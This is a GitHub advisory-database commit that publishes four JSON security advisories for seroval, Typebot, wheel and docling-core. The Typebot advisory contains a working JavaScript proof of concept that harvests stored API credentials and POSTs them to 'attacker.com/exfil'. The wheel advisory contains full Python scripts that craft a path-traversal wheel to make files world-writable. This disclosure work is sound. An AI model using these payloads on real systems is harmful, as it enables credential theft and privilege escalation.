Skip to content

Commit 2c217dd

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-3j22-8qj3-26mx GHSA-4xc5-wfwc-jw47 GHSA-8rrh-rw8j-w5fx GHSA-vqxf-v2gg-x3hc
1 parent 8c67f57 commit 2c217dd

4 files changed

Lines changed: 274 additions & 0 deletions

File tree

‎advisories/github-reviewed/2026/01/GHSA-3j22-8qj3-26mx/GHSA-3j22-8qj3-26mx.json‎

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3j22-8qj3-26mx",
4+
"modified": "2026-01-22T18:02:22Z",
5+
"published": "2026-01-22T18:02:22Z",
6+
"aliases": [
7+
"CVE-2026-24006"
8+
],
9+
"summary": "Seroval affected by Denial of Service via Deeply Nested Objects",
10+
"details": "Serialization of objects with extreme depth can **exceed the maximum call stack limit**. \n\n**Mitigation**: \n`Seroval` introduces a `depthLimit` parameter in serialization/deserialization methods. **An error will be thrown if the depth limit is reached.**",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "seroval"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.4.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 1.4.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-3j22-8qj3-26mx"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24006"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/lxsmnsyc/seroval/commit/ce9408ebc87312fcad345a73c172212f2a798060"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/lxsmnsyc/seroval"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-770"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-01-22T18:02:22Z",
66+
"nvd_published_at": "2026-01-22T03:15:47Z"
67+
}
68+
}

‎advisories/github-reviewed/2026/01/GHSA-4xc5-wfwc-jw47/GHSA-4xc5-wfwc-jw47.json‎

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4xc5-wfwc-jw47",
4+
"modified": "2026-01-22T18:02:12Z",
5+
"published": "2026-01-22T18:02:12Z",
6+
"aliases": [
7+
"CVE-2025-65098"
8+
],
9+
"summary": "Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass",
10+
"details": "### Summary\n\nClient-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking \"Run\", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership\n\n---\n\n### Details\n\nThe Script block with \"Execute on client\" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.\n\nThe `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:\n\n```http\nGET /api/trpc/credentials.getCredentials?input={\"json\":{\"scope\":\"user\",\"credentialsId\":\"cm6sofgv200085ms9d2qyvgwc\"}}\n\nResponse:\n{\n \"result\": {\n \"data\": {\n \"json\": {\n \"name\": \"My OpenAI Key\",\n \"data\": { \"apiKey\": \"sk-proj-abc123...xyz789\" }\n }\n }\n }\n}\n```\n\nThe endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.\n\nVulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`\n\n---\n\n### PoC\n\nHere's how to reproduce:\n\n1. Create a new typebot in the Builder\n2. Add a Script block and enable \"Execute on client\"\n3. Paste this code:\n\n```javascript\nconst exfil = async () => {\n const data = { credentials: [] };\n\n const list = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n encodeURIComponent(JSON.stringify({ json: { scope: \"user\" } })),\n { credentials: \"include\" }\n );\n const creds = (await list.json()).result?.data?.json?.credentials || [];\n\n for (const c of creds) {\n const full = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({ json: { scope: \"user\", credentialsId: c.id } })\n ),\n { credentials: \"include\" }\n );\n const d = await full.json();\n data.credentials.push({\n name: d.result.data.json.name,\n type: c.type,\n apiKey: d.result.data.json.data.apiKey,\n fullData: d.result.data.json.data,\n });\n }\n\n const ws = await fetch(\n \"https://app.typebot.io/api/trpc/workspace.listWorkspaces\",\n { credentials: \"include\" }\n );\n const workspaces = (await ws.json()).result.data.json.workspaces;\n\n for (const w of workspaces) {\n const wsList = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({ json: { workspaceId: w.id, scope: \"workspace\" } })\n ),\n { credentials: \"include\" }\n );\n const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];\n\n for (const c of wsCreds) {\n const full = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({\n json: {\n workspaceId: w.id,\n scope: \"workspace\",\n credentialsId: c.id,\n },\n })\n ),\n { credentials: \"include\" }\n );\n const d = await full.json();\n data.credentials.push({\n workspace: w.name,\n name: d.result.data.json.name,\n type: c.type,\n fullData: d.result.data.json.data,\n });\n }\n }\n\n await fetch(\"https://attacker.com/exfil\", {\n method: \"POST\",\n body: JSON.stringify(data),\n });\n};\nawait exfil();\n```\n\n4. Share typebot with victim\n5. When victim clicks \"Run\" to preview, script executes\n6. All credentials exfiltrated in plaintext:\n\n```json\n{\n \"credentials\": [\n {\n \"name\": \"My OpenAI\",\n \"type\": \"openai\",\n \"apiKey\": \"sk-proj-abc123...\",\n \"fullData\": { \"apiKey\": \"sk-proj-abc123...\" }\n },\n {\n \"workspace\": \"Company Workspace\",\n \"name\": \"Google Sheets\",\n \"type\": \"google-sheets\",\n \"fullData\": {\n \"refresh_token\": \"1//0gHdP...\",\n \"access_token\": \"ya29.a0...\"\n }\n }\n ]\n}\n```\n\n---\n\n### Impact\n\nAll Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.\n\nExample: Attacker creates a \"Customer Feedback Template\" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.\n\nRoot causes:\n\n- Client-side scripts execute with victim's authenticated session\n- API returns plaintext credentials without ownership verification\n- No user warnings or consent prompts\n- Exploitable with free tier account\n\nCWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@typebot.io/js"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.9.15"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-4xc5-wfwc-jw47"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65098"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/baptisteArno/typebot.io/commit/a68f0c91790af8f52f17557f4aa202e966e7e579"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/baptisteArno/typebot.io"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-79"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-01-22T18:02:12Z",
63+
"nvd_published_at": "2026-01-22T15:16:48Z"
64+
}
65+
}

‎advisories/github-reviewed/2026/01/GHSA-8rrh-rw8j-w5fx/GHSA-8rrh-rw8j-w5fx.json‎

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8rrh-rw8j-w5fx",
4+
"modified": "2026-01-22T18:02:56Z",
5+
"published": "2026-01-22T18:02:56Z",
6+
"aliases": [
7+
"CVE-2026-24049"
8+
],
9+
"summary": "Wheel Affected by Arbitrary File Permission Modification via Path Traversal in wheel unpack",
10+
"details": "### Summary\n - **Vulnerability Type:** Path Traversal (CWE-22) leading to Arbitrary File Permission Modification. \n - **Root Cause Component:** wheel.cli.unpack.unpack function. \n - **Affected Packages:** \n 1. wheel (Upstream source) \n 2. setuptools (Downstream, vendors wheel) \n - **Severity:** High (Allows modifying system file permissions). \n\n### Details \nThe vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path. \n```\n# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)\nfor zinfo in wf.filelist:\n wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile\n\n # (2) VULNERABILITY:\n # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.\n # If zinfo.filename contains \"../\", this targets files outside the destination.\n permissions = zinfo.external_attr >> 16 & 0o777\n destination.joinpath(zinfo.filename).chmod(permissions)\n``` \n\n### PoC \nI have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack. \n\n**Prerequisites:** pip install setuptools \n\n**Step 1: Generate the Malicious Wheel (gen_poc.py)** \nThis script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list. \n```\nimport zipfile\nimport hashlib\nimport base64\nimport os\n\ndef urlsafe_b64encode(data):\n \"\"\"\n Helper function to encode data using URL-safe Base64 without padding.\n Required by the Wheel file format specification.\n \"\"\"\n return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')\n\ndef get_hash_and_size(data_bytes):\n \"\"\"\n Calculates SHA-256 hash and size of the data.\n These values are required to construct a valid 'RECORD' file,\n which is used by the 'wheel' library to verify integrity.\n \"\"\"\n digest = hashlib.sha256(data_bytes).digest()\n hash_str = \"sha256=\" + urlsafe_b64encode(digest)\n return hash_str, str(len(data_bytes))\n\ndef create_evil_wheel_v4(filename=\"evil-1.0-py3-none-any.whl\"):\n print(f\"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}\")\n\n # 1. Prepare Standard Metadata Content\n # These are minimal required contents to make the wheel look legitimate.\n wheel_content = b\"Wheel-Version: 1.0\\nGenerator: bdist_wheel (0.37.1)\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\"\n metadata_content = b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 1.0\\nSummary: PoC Package\\n\"\n \n # 2. Define Malicious Payload (Path Traversal)\n # The content doesn't matter, but the path does.\n payload_content = b\"PWNED by Path Traversal\"\n\n # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'\n # The vulnerability allows 'chmod' to affect this path directly.\n malicious_path = \"../../poc_target.txt\"\n\n # 3. Calculate Hashes for Integrity Check Bypass\n # The 'wheel' library verifies if the file hash matches the RECORD entry.\n # To bypass this check, we calculate the correct hash for our malicious file.\n wheel_hash, wheel_size = get_hash_and_size(wheel_content)\n metadata_hash, metadata_size = get_hash_and_size(metadata_content)\n payload_hash, payload_size = get_hash_and_size(payload_content)\n\n # 4. Construct the 'RECORD' File\n # The RECORD file lists all files in the wheel with their hashes.\n # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.\n # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.\n record_lines = [\n f\"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}\",\n f\"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}\",\n f\"{malicious_path},{payload_hash},{payload_size}\", # <-- Authenticating the malicious path\n \"evil-1.0.dist-info/RECORD,,\"\n ]\n record_content = \"\\n\".join(record_lines).encode('utf-8')\n\n # 5. Build the Zip File\n with zipfile.ZipFile(filename, \"w\") as zf:\n # Write standard metadata files\n zf.writestr(\"evil-1.0.dist-info/WHEEL\", wheel_content)\n zf.writestr(\"evil-1.0.dist-info/METADATA\", metadata_content)\n zf.writestr(\"evil-1.0.dist-info/RECORD\", record_content)\n\n # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file\n # We need to set specific permission bits to trigger the vulnerability.\n zinfo = zipfile.ZipInfo(malicious_path)\n \n # Set external attributes to 0o777 (rwxrwxrwx)\n # Upper 16 bits: File type (0o100000 = Regular File)\n # Lower 16 bits: Permissions (0o777 = World Writable)\n # The vulnerable 'unpack' function will blindly apply this '777' to the system file.\n zinfo.external_attr = (0o100000 | 0o777) << 16\n \n zf.writestr(zinfo, payload_content)\n\n print(\"[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.\")\n\nif __name__ == \"__main__\":\n create_evil_wheel_v4()\n``` \n\n**Step 2: Run the Exploit (exploit.py)** \n```\nfrom pathlib import Path\nimport sys\n\n# Demonstrating impact on setuptools\ntry:\n from setuptools._vendor.wheel.cli.unpack import unpack\n print(\"[*] Loaded unpack from setuptools\")\nexcept ImportError:\n from wheel.cli.unpack import unpack\n print(\"[*] Loaded unpack from wheel\")\n\n# 1. Setup Target (Read-Only system file simulation)\ntarget = Path(\"poc_target.txt\")\ntarget.write_text(\"SENSITIVE CONFIG\")\ntarget.chmod(0o400) # Read-only\nprint(f\"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}\")\n\n# 2. Run Vulnerable Unpack\n# The wheel contains \"../../poc_target.txt\".\n# unpack() will extract safely, BUT chmod() will hit the actual target file.\ntry:\n unpack(\"evil-1.0-py3-none-any.whl\", \"unpack_dest\")\nexcept Exception as e:\n print(f\"[!] Ignored expected extraction error: {e}\")\n\n# 3. Check Result\nfinal_perms = oct(target.stat().st_mode)[-3:]\nprint(f\"[*] Final Perms: {final_perms}\")\n\nif final_perms == \"777\":\n print(\"VULNERABILITY CONFIRMED: Target file is now world-writable (777)!\")\nelse:\n print(\"[-] Attack failed.\")\n``` \n\n**result:** \n<img width=\"806\" height=\"838\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f750eb3b-36ea-445c-b7f4-15c14eb188db\" /> \n \n### Impact \nAttackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts. \n\n### Recommended Fix \nThe unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract(). \n\n### Suggested Patch: \n```\n# extract() returns the actual path where the file was written\nextracted_path = wf.extract(zinfo, destination)\n\n# Only apply chmod if a file was actually written\nif extracted_path:\n permissions = zinfo.external_attr >> 16 & 0o777\n Path(extracted_path).chmod(permissions)\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "wheel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.46.2"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.46.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/pypa/wheel/security/advisories/GHSA-8rrh-rw8j-w5fx"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24049"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/pypa/wheel/commit/7a7d2de96b22a9adf9208afcc9547e1001569fef"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/pypa/wheel"
57+
},
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/pypa/wheel/releases/tag/0.46.2"
61+
}
62+
],
63+
"database_specific": {
64+
"cwe_ids": [
65+
"CWE-22"
66+
],
67+
"severity": "HIGH",
68+
"github_reviewed": true,
69+
"github_reviewed_at": "2026-01-22T18:02:56Z",
70+
"nvd_published_at": "2026-01-22T05:16:23Z"
71+
}
72+
}

‎advisories/github-reviewed/2026/01/GHSA-vqxf-v2gg-x3hc/GHSA-vqxf-v2gg-x3hc.json‎

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-vqxf-v2gg-x3hc",
4+
"modified": "2026-01-22T18:02:45Z",
5+
"published": "2026-01-22T18:02:45Z",
6+
"aliases": [
7+
"CVE-2026-24009"
8+
],
9+
"summary": "docling-core vulnerable to Remote Code Execution via unsafe PyYAML usage",
10+
"details": "### Impact\n\nA PyYAML-related Remote Code Execution (RCE) vulnerability, namely CVE-2020-14343, is exposed in `docling-core >=2.21.0, <2.48.4` and, specifically only if the application uses `pyyaml < 5.4` and invokes `docling_core.types.doc.DoclingDocument.load_from_yaml()` passing it untrusted YAML data.\n\n### Patches\n\nThe vulnerability has been patched in `docling-core` version **2.48.4**.\nThe fix mitigates the issue by switching `PyYAML` deserialization from `yaml.FullLoader` to `yaml.SafeLoader`, ensuring that untrusted data cannot trigger code execution.\n\n### Workarounds\n\nUsers who cannot immediately upgrade `docling-core` can alternatively ensure that the installed version of `PyYAML` is **5.4 or greater**, which supposedly patches CVE-2020-14343.\n\n### References\n\n* GitHub Issue: #482\n* Upstream Advisory: CVE-2020-14343\n* Fix Release: [v2.48.4](https://github.com/docling-project/docling-core/releases/tag/v2.48.4)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "docling-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "2.21.0"
29+
},
30+
{
31+
"fixed": "2.48.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/docling-project/docling-core/security/advisories/GHSA-vqxf-v2gg-x3hc"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/docling-project/docling-core/issues/482"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/docling-project/docling-core/commit/3e8d628eeeae50f0f8f239c8c7fea773d065d80c"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/docling-project/docling-core"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/docling-project/docling-core/releases/tag/v2.48.4"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-502"
63+
],
64+
"severity": "HIGH",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-01-22T18:02:45Z",
67+
"nvd_published_at": null
68+
}
69+
}

0 commit comments

Comments
 (0)